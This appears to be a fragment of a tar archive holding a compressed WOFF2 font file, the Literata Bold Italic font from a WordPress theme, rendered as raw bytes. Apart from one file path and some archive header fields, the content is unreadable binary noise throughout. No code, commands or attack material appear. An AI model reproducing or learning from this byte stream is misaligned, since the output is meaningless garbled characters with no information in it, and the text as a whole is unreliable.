oS5`Bdft^Ϗ́Uر(|KZwtyEu?H*ADlqy/$Q/cgnEg"}VXLLD8 '8ϕ'T{JtucD|>X9QN0FE,sVhk_37BIёOi {`9R@2lZFJܓJ^#[&/R >wtK ;cZRȧv^ntxߟ~ $a\n^ȿa:r?pn~ij51ڄj֪RRj(h+\36H݂$$3;#:w%(Jao#Ƹ(UvY>*O Pab}Dp704~\4ǟ$;I>*нVUiz&DչQ[O07nXs?y8fq"wj4P{~?|JG׬TR-;^tԶ{޸CDhi6Z> bZq=S|B1\;Cۅu[}a ̀9=7?ρ>WFzi<Iԭ_/zz>*,wK{^Hė2oBɴ/iS+|T`aN_nV<%q xt[s Oj^7}(I]6'\lh ~Jos |dVywNp_[#~ymbej\wg cjp6U "շ#kšDs64y;A) ̌`4=E_7׉h^ֻp>ؾ'b$ùʗ}=8WOz=GNHT}0(I0hmAEO*l-GE@Ch-z3rIx{a*tcj~5$uzt P3۔#wB@EIU~Z%6ΑtyAiO, No7ZV׶ܕvh4ĬAbtcyL-/SO?¦t~#%Kx2xw XKm "0͈|_h(G׏?H~Yj&;6sD+uNߴG=3Dբ> xg!1 /\h MilV:c4_ZߏQb xa^J_صyᶕms1-ɍ (=@i#rD(-) AW|>*qQxNZ•-vɳ<ygu_lWY+$$QF}B%ba-s/5󭆵ަ*FWyISn>;_>F;._yaKgaqI "l]v0I1JOfQA:+UVK`b,{w#@g/Zf)(O-}rMF] [R[ZZy(q<(Zz4?fA6t>ڲ44|cB ``6=j#LԬ1$.;Jro^:r1/e1E{JΨV;Sm-/x]l?>5ݹ潡a@7䐗M; #t:.BL3z"U#qt r?N0,OZ<YֻeH :?nw?L+=czrY+ta57n2;?cgj*#tVW%ک֣6/Sj2,)cBjY}iNmVs\Ӓ-؋HO౽1b*9,"AծW\Qסq"`o9K6χb`׿n8stS֥5mBy,FSzͪce]hϺטKaqvaΰ'themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2000064400000327334152335264760023234 0ustar00wOF2 r^V<4`PX  LS6$$ ( `} o$"[䡴r{lvϠjU.QC*(@u痸C!~mm뮤a izT %?K2$!Rbmޣۅ-(BhbS^16/e9\38x8Ao׎nވV5{͘ED>!C}Z`x(<ߓ1;0Iag{0Dp ļd,ΑbĭOgasB6؊<&sn9]|4%KܸOQlAghCI V5yX6p wzCz=m9euf/z4*Ӏ~DMφ ն,L{x@^Jy8')8zv;vuKCqgP1 /EG֬8E[U!Q, i6/ rUU**c?8N|5 OCmO=Acׇel'T VЏ~(UTQ1h?E1ul%#` mQdeFA&67F3fMᆿ.qT˽GP\.W9Or.7Ǹ\Ĕn/)WOlIyDx[tɝ-48irGvd'*bQiU6=Et .}ڻ$tuUͷe?IaT'R<\,Fyyvm["fڹEv<4fЄ*TT?9SF?Re;%TRS*E=+ba0( fJ S8sfB浈5>gZnٗ5).徜RMF~! XUrmxO۶Bz>utÚQ@bD'FeQm2B@Z,,|i>b~%c7sc+V6b6X j])z#Qz}m=ɥwvh_uf&RYnVnt) L "@76Rs$Y{Ӷ~]`rQP:=BYn^[,* 2o7@ Q6ko}E}E* z& bo!NH˹}b?Ect^S޿J 7#dxSU_PjQ0qg2Joo؄hi16ܖw0摜H[#߻fd6yyoO>P2Dµp  &P"ofzhz#?rnk>edl2&7c0cV-{#g&ȩ^iQ bL_;jL>>{F$Hxņe]RJNU]?#؇A``В6‡ 8 5,-5$ƒL^\А,?(J-"1Z$7WֵƘoVʓ;3*ՓF*LdB'?JCਹa E0"&@$6x^ `t{HX؜Y&\E.L l.9H{s m\'LA-dm CQYl,Wҥ@PVҗ&0_T|F=mLr,kxZuza0VU45? anwjW*xej'Wr-8e!##E_ '88߂x:-@:* E& 3~n,('Z*\ZHX{=@{Mg]rI.6Zi$M%5BEb20Allxɳ^ܹrq}cf'35rQq[Euk]tX75`+זZ`hcJ@B:ډ@_jMm㶀 A*Vo/)*E_UY]BW(BvqZҗ]HJ܋N]P:~]_ɚ4GWsu\̳5*DMJQ$~].O"&˛zJ)3LFЅG_H.L~ DI黇r'#ewf)ybX[U@T IQ )$DYdW),RN&!K6ee{Rj&/VwYrfg3lXz= d6kÀPv>P9?U{۹̊L{(;;VtRQ [!V&6tdݺ(} K(o7tF\/$0"C; C'(Bs\:C'8Krre.׮+&&-H"wtjvHUZ -#hR B ;H5*T,QMui|oV~Wuo woۨv(eiݧ0;^eF9$S-‰3{VP;1151F( $޺=$"՟Po}}qc՟of'DRBAaiq<^z?ԉBK@`0S+ĐJ.wyо^o'~%ګzh-ZڢmA}tH~_:GuEtSw]00p`cRCH8GsőQ`_θ(O/*DŢv8. GIĚ.#tWĀUT 52E5LV@"d.}"$O3.b{Rq`M h=eu%7*fMo/ŀ(ld/"Jg3L"(qЂX@LDaT)2!,^JN t@!$`ۂ Y!@3jID#rb15 8c=ĽpVMfD&Te\$CW D=x @K?a u 4U@S'J` uV7!V2H4O. )b>F8~Oe $5%RNjm%^%`>G*fjY \"@j)B¯N.ςu( ,bqRχ> 4lOPj<A5R1#b` K#uMDWߦ*Ye|"|_FL [ZmѴC$Ii)dA3sdLњ&{:'pfh5Si ͊gCh+:Gtqۥ0qpc%3O @|ctP^*ά8{>J!^uYF]pS9uN%ψ|Sh_UUxGVr*RmZjUXҙ yhЇl#S]X56y) 3,7ɟk?oQx-.psq|xT(v:eUi~1Ў0 l.v(imɂgC͈8b{%fA0룿N`.t5vO Uog xnWbvS|-Y!nJe۞WUAȾ= ]\%V5IO;A}Qg0mΏ7P;[+ocXr*eS~0`"c=֣G&TZ^CӧӠ~ҍ^:OcnZ m3/#M7JpD@ys-var%I1s {F=3`k眮kےcӦL6?APx>-1k^.ulXؕEϣ7oxqnTEWWp_FBU4ww_iu8y 7%< S܏x8׶07ܟմEO+>o|Q[@rz-&أװ:w3z~8b6i$I5N{ۺ#W'ҁ#Fkp|{y>pUÄJv^x7=iJE}w:ǗQrJra xұ7vep*7taZ׎$[?>@3+LVO!d!ǘ`QV]U Uw=b뺼jl >ϡ5xu@$A^q!_kR=t>KF艔{$?iM%G^Y7>9Y&dz.y1xLQMXO+{M%;bmTU,0Z+{:גN΍_+iyʄPbsyb;N㹯+V_OY`Û>9EH!Ռ|9yN*n?HT/Yyp6v_tџh/^ 'jw\ḼLvG$Eg߲@V0_.eEYI]xxYۓ6Bə:竵OD+Wʅ8dM;sA_>6tވ8C˼>/iM4<S艹wr{ kVw2QMҘ`SC !bvítϙ;sְzy nc]:oύ>_J $.9iJalQ-I fY13{zO+iJc)\_sU x`UgIPz-~͞XN1;poQo^]Qe̟t.Ξ9WZinw@pXƚIpًYFV53gaY9>OɻtM S2=x4ӯçG깖zue*Ϳ2{-MEND! |&Ƨll4ZgH Ϸ RPMZ$liܟ8*~;+͘)L*xA6;tee+u(_xDIɒ#]nM3]ax8i<%eL6Tnܥ:_)bڃ8G^݌.:{#w%9'oASMLFͣuw=%|@]Sf]aUz֟tªX2L[g{Yvhi<Mpm2U< x^V#neLs6gFerJgEӘwC*%\F|eIڙU:Idxd l' XtG*2vE=){6'Qҽmn `H=wT8i/6{+4j-cKx!0YD1G; oƭkBTmTt(4^B,'9ԵMЯa ˞H>'ґj%hyhq4:N~A鲛<{H-p o*Z^7YA;6uq!C2~% ŢCߝɝ_oZOؖT:s6ig1ݷ5҃:j?}v0姫﫸:wtݜ]y  [n>*vZ-iJ\KPLӑAVK^/ɯTYQԚ5?nqj͜j+Is7o{,NLM6I\Q̼0FڶgHvwKMb!pmET,jd8-9`>.LwNx <^gn@FFW5li;oR+Z=zh ~Y 4qjEpEhP,E+|Ye#o%T]zOU{^ڕ̄¼awܟ9ԺN{T $mfV[mg[ Pƈ{"]ǎ[{ ݋[q_1Il/5 ̼hmj(,'Rɬ5ME~UǗɗ촏ɰ+rS.=wVkntN[]h.C&pp"x(L3Vؓ/GT'v: g37Dm Ρ cӽ]Ti7:/38˩3{9[ELF}ODN࿒4t; =O*#Jb vu.cfZNueN&;{R,љLwk"h/x. #!Pm_97 ;֓r5N|CU dE6$=E?\3P@s^XE) %;k)s}Ѻi|=!B5݉SK"iAa([Xb; >z_݅\D =]A^i yǯ'g$_qrv!+Pް77`ĒdžoU&|D1X k|9=+ubNIvAVR^~>Rib.Euv hķck}pTsusZsw7]_|_./b?#_7V{x9v$LïkiH?{k5M#4z|̛E}|ξ{㩿HK&r3܎F#rGl;sWVd{"tdSGKK]Z&8f؋$)Tέr71n#a$vޡD~mBqIn12{v^ ߌt֨,' l,}`YgFfK~zW[Uff͏׫ '-p!X/9$Ne4ٛ#2Nj}a!Q nHzKPiUs/:Z+8+n~'^#;;%\f|M3 sp#dڱQYȮǎwu'xmw2v{F/ig.=KnDJ۝wgr]Z1_wiPL MTbI5NNb(үl>\r&]${ B74 3f hLoA{;1tR^A;ylsx&MZ{Y*Nuʇӗ<ʐwo1iHӚoQTz$5fe;Œm6Z wm[(_},ʟxE#~=sǕC;~l}ӴS"ݝX=_~©Sv; j],G w:{{/5 G< x敒dikRH5i:jwZ1^}$-r+ j]Mš~vngd9>/;7 _uKtF^хqV:/z"ޙ V`GD;z WD ~ƈ9]TNޒsˋvTu[~16A WТZGST$N!@P[:wϠ#W*l6_KKA u0*׳3m~#eOX O~_n1g5=b* pCtëA&,"|YBD1I\-llF9۫^>3:FF:s*Me%˦m}GJ*iwΙq~{~燴?I#S?,\s;h'va`LXNT7o׿ӿMY1Wϖwu/V#kgdv ( Q#K7HB+ǫUUG*Wf~n}]FOtHPFg.%+{6WBXB*KWTy-k5Pl rx\*\4'쌖#IΛޕ!6|pnjZQ#b@ `X b$+VkMm!BjWaCK, QF+l%VcUS:v.;`U`x4%jun(i{ZvN?A+OJ\1~RT>Ι1:gI]3}l gn^vxTL\&Xw2UBdƒՔIx ԩWoK5I$w^r)DxhR2eU";^+%_a&TxJjLB5"$L֢>tL] "0H6)H6-BZĜyE! 88uMzbj2΢ff)Ϭdz3Lg+}{i7={mш%IH5E67NJ kv2]mwɽa(>`RBclZIO2R[33 e=3gfGB6)W S72xo[ɁXzĔ></Gw'7}Y/}5rj5!ڨA٤)f-ҫ7 Gr<ΚQ莨@16JpD)%?j_2{Vqi=).@@!t1 W'JAZQˊX!j n07R_QÅrg{֩5ƴ}8`UBWr *zmCr`%U1Vt3&79=SLSkљ,.Vi5&xg'T y'yuSG/_~G?]%=Fjq48&:3Lguuύ烶$,ҳG{Lɨ#{h9U6V'ǸU gY{ 6S\FW֛*o:AJSe6cO=-,EYI `KtNR0Gmy6ɕ5xRIS\;\iUIG3jwN"U;}Yw3ڡtt#3S}40Gy6WM72QΉV17`4'{tDMz(Nx%D\ T}@H7!^o&_wC6i*JroJ>#x*{/! K=>21Gdv0 uh[R$~LN2e TDtpml qo5M\9uȴMxq際?L[5[r 4ܶfc$o;`5u%H7'BEL$Zhԡx@Eq?[Y\6sAN|vPFZYVpC &Ϗ;FdH^fOߏIs05abJmkRnHZs v$טLVvKfn{לK=!,vO/ۣ]%W˂7Q{8ia?6vE{l_0[[+I>봳4-뭙;gxd5=mOisg[jd޶eM?PX%GgkemyhG[|4*>缵%E;>l1}\PrPk,7ӏ _#k_{̇Hi\Ux[ĀcZboJ;n֨q'Ma+߯Oy p)2V׽#uX:ΌLUz~RГ%$fPyڀE4U͉Q5}"Nο{S\Ѐ6]&QpPDtÍtWsh x\Z^Ӊ oFEb)G|w  dWy9 p"[̻T[v5O4o&W8xY|d*@ǃJ0k\Sn6'=8ã1pJPTʩo~\J{Z|sfz;n<;EPbz̧ LSX? Q-j'SY5dVx[r4 [qca6p旷{?PNCñr JȆ:q/-[5q;ߔD`mWkihVqgJvaAQm9-0L_[k7u7&cÑ}KdLۄ@gѰhH¨FBGPg{yOG!a=8FR=͔Z<}l7<"z9.$Xc["'h_M{nwj)%%M&;pϙGzȚeN;1ҘkA){)oC?$957@q`[ӎ9} sSMv\vE& ⁐'Twa|zf)S0!(:b&R#45 .`BQ",.gB`L60T6Iu*^<@V~K\a!<CY>٦(iK 8zrLp'`(PϋhCd8PS[+Uv}G3":ՀЅxK:8xc / qRVd#NGW5䯪ilC6}:,R\4 -c-XMʃ+FWiçxvDZ.21طWħ;y3IovW~i8w?I1]f̚>ܔ )xNQ4#,R;w0+׆c{gSJy7b`ǵmӭNe¦+hBESXI)-T/6_:fB` FF%7\b&a@턝kY"dƛwWzMf5 UZr-fRg#~Q~e4=|{?&LJ_qSPw6gTU-]M},UOsidp Wx(x92NB( KJ>^U?:[?% FL\r=ְ+EVPQQyӊʛVTޱe=v3aѫ517aTf,l֜_,{׺Il/}& 8  l(CLőW@̀0bKuyKNХjp$AύfGk]#Qn5);Oo"Wb+ ?M6Gk>{JdvD-Vyֱ$tEʿQi7R &a<uѵ+'t~ 嘕k;lU:ӓKxVtCFpb0F 8z3"[ G4j`+qcv<@+}fXSuZtu@3' "L(B*m_95E0E<8:Z-%VAn"LYFEbSWtv7hťd`r4ˁew$4LqKp'/|o~? *L8HDH(Qmdt [B3!<0"Tvv9$韸{%EGةeKY@W,$B&A HgvPsQ1A ͕+mf7󣈮]E,\ِ9F"sQ]JK~ :WHb,|9J]l/ig%8ŠތIMVśO~E0B QgCtr;W$  JYf|2;FIbZHKh5Wa Di/w*v%tײu Ȱ݅$ 5JheE,l>r}HT(NǠx3ƫP*TJm1'ԓ JUBoHD^0 9fű7esKf* }4a|.U1ҭG/Bn8x=$mPp< i<~Mٰ|LAs`I] 2{I Wp&iC[#b0c<9ơ'R9(bp%$ե[܇~d4dS<ˆQyi̸ L2mkBJJz7\4!`:H#q)X;O^8?A&!G`Hdf Qd=GXW\#8mj:hɋ7f"H„#DYDwi0JDDB>SXޜC( $D;S@]_|&hA\$qQ|M|!b ƫ 1 m‡4_UxA|asQZlyhzA-ބv~>$?9}ԟװ7a|Z߈+z%y)pntѫ/sH m$nYjfXDIVTM7LvxBU&!„2.q=N\5@IM)}תs‹$iZbkd*&&&mE m&s_f Pb3옲L3P0eT~׈}6ݛb5{N*~[uz1T,z5S\ⷞplʰ%N]ѡPLfC`;pBn0nbqӶ 1m>{r&s&\{B2uG? 0FSJYscÛvW 2sX_Cˌ\l<|W:}4tѫ/h6As.4-[YW125w^P = =KA33TP0\<} y*ޥ_o!~/_?-!tV UpxHJTaь3Z RsJKRelPmtwJcӱ3B0QU aH D¥+n8-6 "D*+*Fx0Wﶠ-!p'`wRݷ9 wį6]P|L*ߖ[֖4]TF7jVVi>)dJ[8/sqaK5/+暿5-%ykkmUmT7Ӗ %ov͛%i؜/O~< UJTW&xxBeNE*Pu8BcpxDDO7lwG_D*+*_\db{(: &*AH,Yc}JZp5I{AdrU_ۢ CS>ӎ_&d3F]#kRhuzC.j#1_unxO4f̘1cƌiLtʣ~DB$)LT*5UUMWv?d2f80@ E3, $+e;ne|282BT %-:vn 1V_ACX" XZY17*įYׯV)W(S5tp}AZ}?WdLK6lnÓd4L΃'/Cn# B 䈨Ȉ>r0K(ҊLk<79U-9 O5 „QU Ӳ7`9%Id Fg0YlEb`pT&W(UjV7Mffw8]DYx@*B&W(ԮhuzU*llFߤ'Dž=cpʵ6NN@a #($E3,6EbT&W(UjV7Mffw8]n/  .@ ]zT QU ӲN=u͉-){?AmV:@:tztG?waKgbYMvrBpʂz}I™cfbX,IZ3q4~OOvB"TaJD=u'dڵĤ)n| `7VS9?EPbTWT:}ٔ‹෧c`As%'L2Aa038X.\r'S d/*V"JZ FbN[Cc<I (Ɋik9?C?X$2F3,6{nKVA@FP HerRhuzdXmvWC08J7 DBLBX"3rJ:x`naiemm윷աVj:}?mǗi2(\"L(a9^%YQ50-iH3B0b8AR4bs<@(Kv+UjVg4:bsU0" #(K2BRk:h2[6"yAdEt#mێ.L/H( ؟EnaOQɍQ <^d#axv{,ґ=?㇛OuFUSKq'qD.kC >|oHRetoP]0MG]k\r{r+ϑTȫh|gU WHva1^ieh;g(aa ?:{Uv>=콳ׇ>%t(%Fd_@f( "$ "L &H'A \L4Z`naiu 6fNaB (ɊiَNɦT `G J7UK V6;sBm?vWWuִevuQN;t:1&#($E3,6 "D*Kl!PD1X@$)Td9\@(rKɜWRNo0W D!3Pd4$2J3,6 "Dgp9^TӠ:&[Й{2bP"L &H . Jl ? $ "L &GId ՍFg0Yl7Eb . Jl˻ £1X@$)Td9\_ %Ԥ^5y|ʼn{bw08h˻뢕N}ib4Z"VNo0rI yAdEt# `G CuK4$2J3,6 "DghvR>X,bX]OhrхKWݴqr0 !A1 )a9My]>H, Jl"hy;{ǜIXyv9問@(rʛK2BRkB!A1\"JZ FblyK"A1S 8^#n QD1X@$)Td9\?AS"Dgs}Vo ~0FC=z#Nk4y݊id\lթg`  B0b8AR4bs^w 3H, JlƄouv,6E^iNo0 B0b8AR4r JjaZ'&[wwԿ)[Dap`qxDPitpy[kPNo@ފmqD\;[ bgh$j5`IK;GMp(MI'MEj~wp8LSi0 @ Qh 'Id Fg0YlE>r ej4Z`nai=^oqхKWݴqr0 ;!A1 )a9<@(K2BRk:h2[6r{( 0&)0 ˀVK7MNͰ/npƣ*a;; 08Bc8Hͽ@O;cQJ1@8x&Ͱ/nwNQUӍ(‚!P   DBLBX"3r J7RK V69oEF>'_ju3uRVuޚx@ 0hxAdEtôl.xAdE[ #($E3,6 "D*sBRhulbC0S3s K+jv57$D1X@$)Td9\@(rKgVS*F` fH4ź8% )a9c` JÐdpdNT.a^  !'tku&XH"S4:bs<@( #(K2BRk:h2[6"T  !PH DBLBOR@&W(Shuzխ6?Qƃ7  aBRi㸞_>cT"4D)E@g0YDApQD1X@$)Td9\_g X^!`$T%m}=$bZDP4r JjaZ[p ||=|>t+h4ִU]Bc8bT&W(Uj8  p J)tD8WG Qh 'Id Fg0Ylǿc?bRhuzCMޱS-ݝ;{Q7p,SaB (Ɋiَw$2J3,6ˣzk|O %R\T5Z`4-Vtq $+O_   "D*+*F&j;.Nj !K&TS3s K+L`4qB0b8AR4r JjaZ_J() xAܦf{ .?`F;԰/n?BiE*Wzz6l}9:ù+,xAdEtD@ap`qxD88pʵ6N H, Jcfoټ~j`|EB$)Td9\_ %R\T5Z`4-V;͐QU`p33$ỈP=AYwi؟ΘkA Qh O Ȕe3 "wO1_D*+*~2JtijVNDvp JφV"$ "L & t Eb.ɭi5 L8^Wv'0`/չx e:ٓȠDBLB!A1\"JZ FbNS  !HH DBLB?s88pʵ6NN@a #($E3,6EbT&W(UjV7Mffw8]n@{0iL-,sqGv*2ÌK2BRkrtz QU ӲN׸~[#()ZnOqirRhuzC685SO$)T7d9\޸ TH . Jl{zAC08J- DBLBX"3+V+*uZ:ʺm^.P`pX~?,VDۓ;h޽q4Υ!W([i@$)Td9\_ %R\T5Z`4-Vt%$xAdEL@aJ(4$2J3,6 "qOLPޕZX7[gvuwptᲮp'S  HerRhuzdXmvxA`Ǻjp"LyW+ɣ: QU ӲNׂ!È #(4$2J3,6' Eb4ff;cSA/|+lزc[Dܓ$:Iu֣$R\ϛǂEKQWnيUkmxm.~ݹ|LD+|Ptᦾ^``aaXP-ېUtu7#(4$2J3,6sN>AJZqjxAdEWJ֠,O *`./322222ʶ5B\bIR JB-!ҢyWYNXNo|ƏpJ`(Ɋ醉H D2Td9\_ %R\Ts.\rG6k NͰb[BX"JZ ~(omκ\Sgmm2C'bAYBLxx!(4$2J3,6g9p:{Q0pp/8$ "L &HW$k3%88pʵ6NN@ #($E3,6EbT&W(UjV7Mffw8]n_}? îb YuVn7rZO6doƸ%+&U{Q |c]K2BRkJ F@FE`Y a9^%YQ50-t[륾܊`p"ҚfX( n=[4x)TVHvƩIkMdzN I H,\^Rkjh2[6r{A`fbjfnaieW88:9pH Clsd Fg0˂O+PUo||i2*Pz FS !A1 )a9^%YQ50-t=^{ku$E3,QUӍ @ap27 DBLBX"@mٝ9ojgs~9ΰsR]]]]]}v0'!3ϖ+hFwieTB٪4 f fXDIVTM7LvܼD *`./B^W D*+*F&j;.zPDIVTMw]tM'_y퍷 #($E3,6gjBX"J:h2[6r{A`  RQF_wpOYkn@@$)*ޑĭ+oI>bT&W(UjMZtzѴ QU ӲNӼ7FP '"ͰQJia0 *jZ:zF&fV6"D:2 s]\{\XZYgcmv{6NMz`4`DP4r JjaZz}KZեG&j;.NjC0S3s K+7޲G'g׺@ DBLzW0ͦI (Ɋi8 m0Z7V\hqQUӍ;,I%ef-J!{-zM\wR ĶX JF *`./8z F?ވ_ mǽvym-}<9 )& ҈9ת h@Br}7 A} D%Uʟ7E_=-yrxt S1 )i7?0 ?\4&*O?r(deeڛ%6KlOd Ȟgɤ}ǒO£X :,chvWmPA.'ٸD{‡M,[\ ``96 v):@gGpagPhp|̂uU}w|܇+*^vZHN灳Bm!rv|.`CJ+ A; B'C6 !j4qX4VESBKL,B;I r<2*XvG{2#/O~1g3\,\^h`TQI E:iNOfZ'XeCe X8Fm0g hѡG0nƂX5|[yL~)%\N%\YX*pćz40#*\ESPثhӁO(]u! =3>3j)IPŎ^ l i#oj+aYR6\tMwJfŖXjmҜ.U{*k\9®ݸŤ8)\~OaGn:r_{hE_ KUJfB-Zi'ALҫZ4ˋ@jnAg;Ez]L6:tҭG>}awb8!JZ $E3a7`АŖXj}AY(\,T Q根h*F%UJT!`^,s^*Vu782ͬ|cYk ['ZH~wyi2(c;+'Uv7D~{?s`ܢ &ɍ;(Ɋiٞ|?8/qaqiyeum}csk{gwoi0 ·ribE3, $+e;a'ieU7mr8Ko^\^]><>&q!61R[phxAdEt(N,/{P$6HerR6615YhiNĪ@G'b@T",۩Ⱦ;-bM̢=OkԤYVmuV X - ~ƛ&ہ+M +2"'&br#o/?|=^g >SvE@hÀԌ(͆ `#'s'0-e#@aZvh 7zf,@;^|'hڍ.@{~tFG %:Wʕs\%WUs5\=5q̴ɗ}_9ު2-JRYER^l( U* U*QQU+"vPtvªyp*N ßc]9f6s,5 =;>uͅw:hAI?ۄBT.C"QI"Ie گBtJ-zM4J>:Z~3:F+tZTr!u: Yu6n@6dJ[dpyFT_o(9uUJ jFݗ>1Dh2 ,r#r3Qk@}l<䱋O~tg8 ugSOI穈9}.879XȊI8ꐒ%ݳ"GI^<;*a`F.qj{;=#؇C۹Uh>͟ro `͈IDzdcԷ*J!>qܯJ|6A JhN$GbϜ?q9?N.Hgrkvzk%lH?{k-y3Fo v܋qvwS㎹Տ3,fySk=ܳ†Nmvqf1jv2hu{|>04!nASno`ۏ.`t_%5&>hʚS0K;+ӑAXs\!رB^߼eٱߟ1Ęh!I/2}(f!l`>w!I.3=`gFMmzn4ƊNОx~jPg\CUW[}]4VEUUGfSRo兿7?z?-O Nx9e}yZK {zou̹o }sC""|#u G„_x.tF @OR &+ uhE ͋ߔxJ<"P ? me PQaE By 'LC# U&hRfP*RIeU#ZJU5Y]MjkQ_zuԯ>]:wu+aTܞh V3muk'W`Msg4iNZrd5B5Ԯ FjBB 㒣4^a%^z[' VST)n(&^"`֢.Gj+.|.)?x,{DkxY¼ j~vnPq]r=N(7Vyw{`妨N;nvCcYjPؤOW""!cpBXPUɠwl;<@0TRD+kj뚚[[{:&9GF6vNc8W\3][_e5ΙVgKZFlqR"N6s.JjP:4׭= Zа)끇Fj jkĪ #u=VS$iJQVm[gA x0G%Ka7}ь53*Gft֦:g:f}2ҙ)O*j u` JI=hziU=ohTu(fHA] Wvt$M<>_bWBmҦ1o`uP:r\ ںTcfh[vZ8'g}4uٙ:g+#j] [ 觓0ݾ+B6ۮ.꣐1⿐ƽ)k6/wQtw=x'B"mq@_-}V-\pJkT!™YN|E~1sY4 u#|ݺuf. *w3@;gR--SȆBT0h{SKjGSZ- ajM jGd>`=\(Dv;V1f*E*5RUUw<n\(Y 4PkjkB6Tj-56`~U h׎*)Mcְx"\dpeČ#a 9`,+Flȡ<[w>C"t}NLѐyIҫOpvʗfb|ZtS3PYGWJ^̳+/G:5|DDD;d\q0UPne&1Q4jZ%lGs};N$}7>jc_ ߃[Je+=Kyk.A'4ZQ4*cd2JsոC]"'2iNi*@LH+HP7qy& ޟ,0L(V -:N}-)SS>/[utPҶ LO2nM>|e3_t|m myf 4<%z7 :,z['&ʟ:0CgdyWxS²~m3^?|0ꏼUѹbiW> \-9=:^ ]AINK'.TОWזo4ұ>b#AU=(Q <\ˆ< m(2kDn3!CQъ*?!J3! Ӝ}Y 3V.{"1Oٔ"C(/ɧ6˨iGz*^} ^7lrH! .òa:dbt&"8͠GUc_Ҧ1T1IOSU'mja/D>yJp(!瑢t -PLeRݏ8۽ާgynv@2|s5r>ě?'T)=H%uF\phK%ݷD~ qz ec °3 #F{߳-ASP4@?vI9&^g :i_>$2ZS/۴OxEvbMd"l+jN>|) #CTŠfYѕ6CY9G\1b+w&VxZQ:3ahiCddJ Kˆ|MPl x럟aR Wi]{JϓӚz'$dNAjU(t^IfxIڛ`ѷ!-j>.U@rMqќLZOEjsSM- k0\N}F# fA!r띺|_P좃Aɍ#8_zOx#"r?^&1~WQ'qaXD4~l1dJ|<{‹^27v 媪9$>"H22k_ !ub/o-DAdUtT/(hv cq PY+de.81,Y,2dttg[ h#Fp[g\!pͮ+@_Zm ٣B.PmWڎF#P(Dlܮ]+TPppE89+҉05Z2qZ \sfznoȘIY&ks!b:@xL;5}BY/,P,دM~i, @xF q{Qժވ;މVeD݋GKV) {dhI{ea{:;_Dn\:(߽eo4}=ZJG15>-¥M\#JUe[PsS0t= ׈tOXm$e&%~ a~Fk*kW?HsWW-‚Fڣ(U2#Q?F%kf|%ZM;)dXc`LxUa6Z?+j]& ގdafTTx \Q]%uJOUr( zz©-fG\b20i!HCa6FQSBRXu3LtaY+NdƱyd^f.RoXbP`lr 05-g \5|45_%AW?0e_V-?Y|CNg J~O>bkrJ6~'Se]SoTiWbO}ѿz޺XNy)HM"2*O_r5p+e`5EaA[Rku~>@eBUiK b1rmIҒ.^CrewT:ȾƴâA)o rnT~QrX]71?Z&*UD/n?VYܞSl3E p;|*pC ˜PD[=@7EB%EYbPTAwϡ:c{{FC}c t8TVC1<݀D"YsE{ Ue0 }n$U2zxgбYQQ֨VfaD9ygR͘ʎ5>5!^6%`!<{sM!,L%$d!hr$ 4`@TZ)XW YJ9[-aR^J7"UHv4=LO8k|4gV8gJE`:qrRdx7%Rb(kWH/л0w+)vP5g(Q=J Q/03-buHɾ/7N3zFo ^Ճo*tc$=싲\]j7sUl!t'E:UublmQ|-t%k3tJ| W#>vMO)%QneظR)Ƅ aǍu 72GE_QMW\LD[6<qݑ""HUEtK=0^5J) \ӱxZ˘T'zYcz~.o46BF4j>=m(΢!Bz<7BUyndDsY޲S2|͞&f 7P3ȧk4EFW(B*B.؛Ac k]ԓaE揶 T"g\ubi\[亘TɘC;_uhq-¹\mȘ 3RU Xl4 CAQYSGqZBD\8 Dʅ?'-/Rp$JkM-1c2P`PO3ʃ ucJ =7D7% S%S+x1*nw=!g*]Z7~S޸Ziڋ6ĺf>QO/"ShEQy~qCn#F[8F0!A7r9*T}ꖗm_;6pjd VK;eb4k(hY iu09Knb*]*7<5r¶?E LH<'3vZHpF' x5-)ˑ;cKnb[nAFjoj[MF\W2K ">,أgjѪ — 0Tn@AFjxuv6&ՉU〭#RS&q^߶϶.ܑ38UFr+<$Z1߭Dd2[t< ЕI84|R > X},!U(53ڝwPHS2߂ qOLDIR݋؂Ĥ  y"aVo, d0KBr@k^R)$\_K F~>8p;׍f@:T)54kܞYbeEr1ܙ!8a>?R)Z(QȲb}|hq1>z$ 84hwBdZ}܁vh/->ZF'=>2qȠYW83(Ak_u 1vGw{Q qUڸ"!Jp[ /Nv(Z ͠=㥚XuP vaJeMtw *O @|g=K y0EW!FXj~.弚$TАw˥;h{mOs{qF[ L-V0j>JΝY#ߌ_ H2nz@tɁ{<uPf`VUNEWH{M9 Cy#ۿfH!T]GP#ഠS8f C73p&C'-G/p;ݧ6iELW4zkN:&l#qf9.RYn#}fSM :m:15}хcMeo^8rX}T׼yȯxAa~!GCj%Oಉ n;17{d\ua '!uv]N+캻ވ~~CNwv'y&`7HG޿U :l.F gE:)&OHr2U#g|>57rEN]dמp\co8! prgr!F0ÌD"Z2GFưi2d"&3jC>*)R(F2sB4p ;S꿑NJʍB`eF[/ M S8N8<<>V$qpvK;ǒc5AV,!v=vru^ uO}6=NBXC7obE1IJV쮹Fh%i(,ܨ.\T7J1Ē")C, _s)xep:̀}2m]cyp5Z %M{![ELaXNO$LP/^G?=LV'Ie"78uc@]/r1d!s+΁@y nDUK=nmȆC4l{;/~H/8I"\;h!|reB֬=-p!qꁸ﷤d7d<6cv뢲r3I*AIoR¹Ij̺k埼Nƃld+.́}d{[GD4l+Uf!5TӦQ15CY1JN0  iBĥy ʴZs <䝚V<:3ARܖ/^${"-QXX57 7- PDc_t~ìwҠ#;]aXrӪE ۣL!XE^cӛ {ax{9q<(K9t5}䋞#"tA+tEJZCْRNǥ01Hgپ#%_7U' 2*,M?Kؗb"P}hDN.yRR#Fb%tu-\̀FEi^xj57$X畫Ns_x~Ui}&wln![0tf 𵤨?KSuOֹ ˺lM4-@mhԦ7vQs^7~goRgV0g4Yւ}d{H~IO}:zʭC m㡺;m$Le4aھ+BXPt( H6G+$+|NQ77 > wt<138B'D?OL':;0Tysg5ܡ->Kp; th' c$WO(67w{E։fgX*u@X*uK?Pk̥& q[1=D/U1N(u zm q5 'Y>5ez&3X(Ot ]g*\;p3\cGtc??͐q2HTH>IUc[*sѵvM5,1=T7U[ 9G t`Qt.Vsڍ+aC*@2VLn/K_;aZZUE;24Mzǖp/sb߼nb3y\'0ǟ*+HBuM%Px9jci8JvG?]S `r Gx uh/RQftj\t%o]:ЇZGh ~DUvՉ/)jTJ]Pw˄1g9rnbS͵mOg(e* ;͡ 